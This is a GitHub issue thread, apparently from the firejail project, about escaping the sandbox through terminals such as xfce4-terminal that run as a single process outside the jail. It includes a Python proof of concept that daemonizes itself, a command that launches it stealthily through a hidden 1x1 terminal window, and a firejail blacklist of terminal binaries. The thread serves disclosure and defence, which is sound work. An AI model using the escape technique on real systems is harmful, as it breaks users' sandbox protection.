Closed io7m closed 8 years ago
Yes, because xfce terminal is running as a single process. If you have multiple windows open, all of them are handled by the same process. You have to make sure the first terminal is started inside the sandbox.
This is the case with most terminals. An exception is the good old xterm. Some other programs such as Firefox have the same problem. In the case of Firefox, they provide a command line option to open a separate process, --no-remote.
Yes, I assumed that this was the case.
Is there a way to mitigate the problem? I don't know the exact mechanism involved, but I assume it involves dbus
...
Perhaps mounting an empty tmpfs directory over /run
in the same way private home directories are created.
I suggest 2 different solutions (depending on the use case):
--new-instance
, consult xfce4-terminal --help
. You'll probably want a separate starter .desktop file for that.I think the wrong point is being made here.
I was making the point that for a given default firejail (assuming the firefox profile, for example), if an attacker manages to get an unprivileged shell (possibly due to an exploit in firefox), then the attacker can effectively escape the sandbox if they can find a program like xfce4-terminal
that works in this manner and that happens to be currently running on the host.
I'm looking for mitigations for this problem and the ability to deny by default, rather than trying to sandbox specific programs as suggested.
We're talking about Linux here, so the main IPC mechanisms are IP, unix domain sockets, or shared memory. IP can be locked down by specifying nonet
. Unix domain sockets can be locked down by forbidding access to as much of the host filesystem as possible (don't allow access to the host's /run
in the jail, or preferably whitelist the bare minimum host directories). Shared memory can supposedly be restricted by namespaces, but I don't know how this works.
I understand. You basically say an application with a firejail profile can be used to drop the jail.
Leaving all child processes inside the same jail might break them. This would be the conservative way to go. How about adding a whitelist to that? e.g. your web browser might open a pdf reader for convenience…
Disallowing child processes at all might break applications. Firefox e.g. requires to be able to fork() and exec(). This would be the most secure way to go.
child processes are not the issue, IPC mechanisms being able to communicate with the outside of the sandbox are.
Unix domain sockets can be locked down by forbidding access to as much of the host filesystem as possible
Or by completely disabling unix sockets. firejail --noprofile --protocol=inet,inet6
You cannot disable the Unix sockets, X11 is connected over such a socket. Firefox will not start.
In my opinion, the attacker will stay away from terminals. An xfce terminal is pretty visible on user desktop, and it is unclear to me how will he be able to manage the new window. All he needs is a stealth /bin/bash or /bin/sh session that will call home and open a terminal session on the attacker's computer. From there he can try to do whatever, but he will still be restricted by seccomp and all other security mechanisms imposed by the sandbox.
the attacker will stay away from terminals
Well, the issue is not specific to xfce. Services outside the sandbox offered via IPC are a general concern.
You cannot disable the Unix sockets, X11 is connected over such a socket.
Would it be possible to use seccomp to whitelist paths used to open the socket? Similar to bsd's pledge.
That way the decision about unix sockets wouldn't be binary.
Securing X11 is a separate concern of course (#57).
IPC namespace is not enabled in the sandbox, it will break X11. There is no support in Linux kernel to selectively disable Unix sockets. You can disable filesystem-based Unix sockets using --blacklist, but you cannot control the abstract sockets without breaking X11.
$ netstat -a | grep X11
unix 2 [ ACC ] STREAM LISTENING 12796 /tmp/.X11-unix/X0
unix 2 [ ACC ] STREAM LISTENING 12795 @/tmp/.X11-unix/X0
If you do netstat -a, the sockets starting with @ are abstract. You can look for xfce-terminal sockets and disable them if they are not abstract.
@netblue30
Actually, it's a perfectly reasonable concern. While it's tricky to get right, it's perfectly possible to launch a terminal window/tab which lives only long enough (a fraction of a second) to launch its own child process in the background and then exit.
I'd say this would be one of the first things an attacker might consider if sandboxing is to be more than "security by obscurity".
Well, such an attach needs to be demonstrated first outside the sandbox.
I'm running up against the end of my free time right now, but I'll try to put together a proof of concept either today or tomorrow.
Sure, no problem. These are some socket attacks I already know about:
I decided I couldn't wait. Here's your proof of concept.
Given time, I could probably redesign it a shell one-liner to make it harder for something like disable-devel.inc
to blacklist without breaking things, but this was quicker for a POC and disable-devel.inc
currently neglects to disallow Python despite it being present by default on all "desktop-ready out of the box" distros I've tried.
#!/usr/bin/env python
import glob, os, subprocess, sys, time
# - Daemonizing code borrowed from
# http://www.jejik.com/articles/2007/02/a_simple_unix_linux_daemon_in_python/
# Self-orphan so only /sbin/init will wait() for us
pid = os.fork()
time.sleep(0.05) # Work around some kind of race condition
if pid > 0:
sys.exit(0)
os.setsid()
pid = os.fork()
if pid > 0:
sys.exit(0)
# Detach stdin/stdout/stderr from the terminal
for descr in (sys.stdin, sys.stdout, sys.stderr):
if descr is not sys.stdin:
descr.flush()
fobj = open(os.devnull, 'r' if descr is sys.stdin else 'a+')
os.dup2(fobj.fileno(), descr.fileno())
# - End daemonizing code -
# Do something malicious like playing every desktop sound on the user's system
# with no apparent Stop button
subprocess.call(["ogg123"] + glob.glob("/usr/share/sounds/*.ogg"))
Usage: Use some kind of exploit to...
do_nasty_thing.py
where it won't be noticed.xfce4-terminal --geometry=1x1+0+0 --hide-menubar --hide-borders --hide-toolbar -x python do_nasty_thing.py
If you're paying attention, you'll notice as a tiny square in the top-left corner of the screen flickers black/white for a split second but then the ogg123
subprocess continues walking through your system sounds long after it's gone.
Note: There's some kind of race condition I haven't tracked down yet. On my system, without the time.sleep(0.05)
line, it would only trigger one time in five. I chose the 0.05
number because it seems to be enough to make it trigger reliably while not perceptibly increasing the time the terminal window is visible. If it doesn't trigger reliably for you, try increasing that number.
We need to find all Unix sockets opened by terminal programs (xfce-terminal, gnome-terminal etc.) and blacklist them if possible. Can you guys please take a look at netstat -a output, something like this:
$ netstat -a | grep lx
unix 2 [ ACC ] STREAM LISTENING 14875 /tmp/.lxterminal-socket:0.0-netblue
unix 2 [ ] STREAM CONNECTED 386506 /tmp/.lxterminal-socket:0.0-netblue
unix 2 [ ] STREAM CONNECTED 392072 /tmp/.lxterminal-socket:0.0-netblue
unix 2 [ ] STREAM CONNECTED 40817 /tmp/.lxterminal-socket:0.0-netblue
[...]
In my case I have a socket open by lxterminal (LXDE). Thanks.
There are a lot of niche terminal programs out there and a blacklist is an easy way to build a false sense of security. (Especially when domain sockets are likely to be a less familiar construct for potential ruleset-writers than filesystem paths or TCP/UDP sockets)
What are your plans to ensure that blacklisting doesn't accidentally prevent testing from catching the need for properly-tuned whitelists?
Without a new kernel module or some heavy modifications in the kernel, the only thing we can do in user space is to blacklist sockets as they are discovered.
Another solution would be to use firejail on top of some mandatory access control framework (grsecurity, selinux, apparmor) that allows filtering of unix sockets.
Ahh. Well, better than nothing, I suppose.
Also, for the record, I noticed that urxvt can be run in daemonized mode while I was setting mine up but I don't use it that way.
I am looking at a openSUSE box running XFCE, it is absolutely nutz:
$ netstat -a | grep LISTENING
tcp 0 0 *:ssh *:* LISTEN
tcp 0 0 localhost:ipp *:* LISTEN
tcp 0 0 localhost:smtp *:* LISTEN
tcp 0 0 *:ssh *:* LISTEN
tcp 0 0 localhost:ipp *:* LISTEN
tcp 0 0 localhost:smtp *:* LISTEN
unix 2 [ ACC ] STREAM LISTENING 18665 public/showq
unix 2 [ ACC ] STREAM LISTENING 18668 private/error
unix 2 [ ACC ] STREAM LISTENING 18671 private/retry
unix 2 [ ACC ] STREAM LISTENING 15833 @/tmp/.ICE-unix/1223
unix 2 [ ACC ] STREAM LISTENING 18674 private/discard
unix 2 [ ACC ] STREAM LISTENING 18677 private/local
unix 2 [ ACC ] STREAM LISTENING 18680 private/virtual
unix 2 [ ACC ] STREAM LISTENING 18683 private/lmtp
unix 2 [ ACC ] STREAM LISTENING 18686 private/anvil
unix 2 [ ACC ] STREAM LISTENING 18689 private/scache
unix 2 [ ACC ] STREAM LISTENING 13928 @/tmp/.X11-unix/X0
unix 2 [ ACC ] STREAM LISTENING 6954 /run/systemd/journal/stdout
unix 2 [ ACC ] STREAM LISTENING 15474 @/tmp/dbus-nQ1HQ0rr
unix 2 [ ACC ] STREAM LISTENING 13929 /tmp/.X11-unix/X0
unix 2 [ ACC ] STREAM LISTENING 15565 /tmp/ssh-MlikvQ7RtBnR/agent.941
unix 2 [ ACC ] STREAM LISTENING 15834 /tmp/.ICE-unix/1223
unix 2 [ ACC ] STREAM LISTENING 15425 @/tmp/dbus-HDt11grh18
unix 2 [ ACC ] STREAM LISTENING 15972 /run/user/1000/keyring/control
unix 2 [ ACC ] STREAM LISTENING 15974 /run/user/1000/keyring/ssh
unix 2 [ ACC ] STREAM LISTENING 9575 /run/lvm/lvmetad.socket
unix 2 [ ACC ] STREAM LISTENING 15976 /run/user/1000/keyring/gpg
unix 2 [ ACC ] STREAM LISTENING 15784 @/tmp/dbus-e739tN0xI1
unix 2 [ ACC ] STREAM LISTENING 16000 /run/user/1000/keyring/pkcs11
unix 2 [ ACC ] STREAM LISTENING 9403 /run/systemd/private
unix 2 [ ACC ] STREAM LISTENING 13245 /var/run/nscd/socket
unix 2 [ ACC ] STREAM LISTENING 12732 /run/dbus/system_bus_socket
unix 2 [ ACC ] STREAM LISTENING 12735 @ISCSIADM_ABSTRACT_NAMESPACE
unix 2 [ ACC ] STREAM LISTENING 12736 /var/run/pcscd/pcscd.comm
unix 2 [ ACC ] STREAM LISTENING 15043 /run/user/1000/systemd/private
unix 2 [ ACC ] STREAM LISTENING 12739 /run/avahi-daemon/socket
unix 2 [ ACC ] SEQPACKET LISTENING 9679 /run/udev/control
unix 2 [ ACC ] STREAM LISTENING 18630 public/cleanup
unix 2 [ ACC ] STREAM LISTENING 18635 private/rewrite
unix 2 [ ACC ] STREAM LISTENING 18638 private/bounce
unix 2 [ ACC ] STREAM LISTENING 18641 private/defer
unix 2 [ ACC ] STREAM LISTENING 18644 private/trace
unix 2 [ ACC ] STREAM LISTENING 18647 private/verify
unix 2 [ ACC ] STREAM LISTENING 18650 public/flush
unix 2 [ ACC ] STREAM LISTENING 18653 private/proxymap
unix 2 [ ACC ] STREAM LISTENING 18171 /run/cups/cups.sock
unix 2 [ ACC ] STREAM LISTENING 18656 private/proxywrite
unix 2 [ ACC ] STREAM LISTENING 18659 private/smtp
unix 2 [ ACC ] STREAM LISTENING 18662 private/relay
I think seccomp can notify a ptrace tracer and then inspect the syscall arguments (i.e. the socket name) via PTRACE_GETREGS/PTRACE_PEEKDATA and then decide whether to allow the syscall, return an error or kill the process.
So it might be possible to whitelist unix socket access, but it would be non-trivial to get it right since you would have to poke around in a different process.
I ended up blacklisting some of the terminals in etc/disable-common.inc:
# disable terminals running as server
blacklist ${PATH}/lxterminal
blacklist ${PATH}/gnome-terminal
blacklist ${PATH}/gnome-terminal.wrapper
blacklist ${PATH}/xfce4-terminal
blacklist ${PATH}/xfce4-terminal.wrapper
blacklist ${PATH}/konsole
I think the problem is common to all terminals implementing tabs. I put in the terminals for the main desktop environments, there are more to come.
@netblue30 would it be possible to just use private-tmp
by default? It seems like a more appropriate solution because it does not rely on some "magical terminal list" knowledge.
The only problem I see with private-tmp
is that it conflicts with --net=none
. If you have both private-tmp
and --net=none
, X11 applications won't start because they will now know how to connect to X11.
So, proposed solution:
private-tmp
by default/tmp/.X11-unix/
above our virtual /tmp/.X11-unix/
by default.Would that work? I think it might. Thoughts?
UPDATE: see 2 comments below a more simple solution.
This is the status:
@netblue30 interesting. I misunderstood how xfce4-terminal and gnome-terminal work. Still, there may be other terminals and applications like lxterminal. A good /tmp may still be needed, won't it? If sandboxing /tmp has no downsides, why not sandbox it by default? (Note that I may not know some downsides of sandboxing /tmp. But as far as I can tell, it'd be OK.)
UPDATE: Further investigation showed that, in order to sandbox the /tmp
communication, one of the following is enough:
whitelist /tmp/.X11-unix
or private-tmp
The first alternative allows X11 to be used (but no other means of /tmp
communication), while the second alternative will forbid X11 (together with --net=none
, it will make applications unable to use a GUI).
If sandboxing /tmp has no downsides, why not sandbox it by default?
On older distro versions, some applications (PulseAudio etc) used to keep Unix sockets under /tmp. In the newer versions they started moving the sockets to /run, but there are still applications with sockets under /tmp.
Hello. I'm evaluating firejail to replace my current browser setup. I'm using version
0430643b36669aeaf4ea3b9ff31eb092c92b48dc
from git on Arch Linux.At this point a terminal pops up onscreen and in it, I can access the full system outside of the jail, including my real home directory. It's also possible to do:
... and get a terminal that connects to google.com.
The terminal that is started in both cases is started outside of the jail, so there's no ability to directly communicate to the process from the jail once it's started. No doubt an actual attacker would find a way to work around this limitation (can still execute arbitrary commands on the host).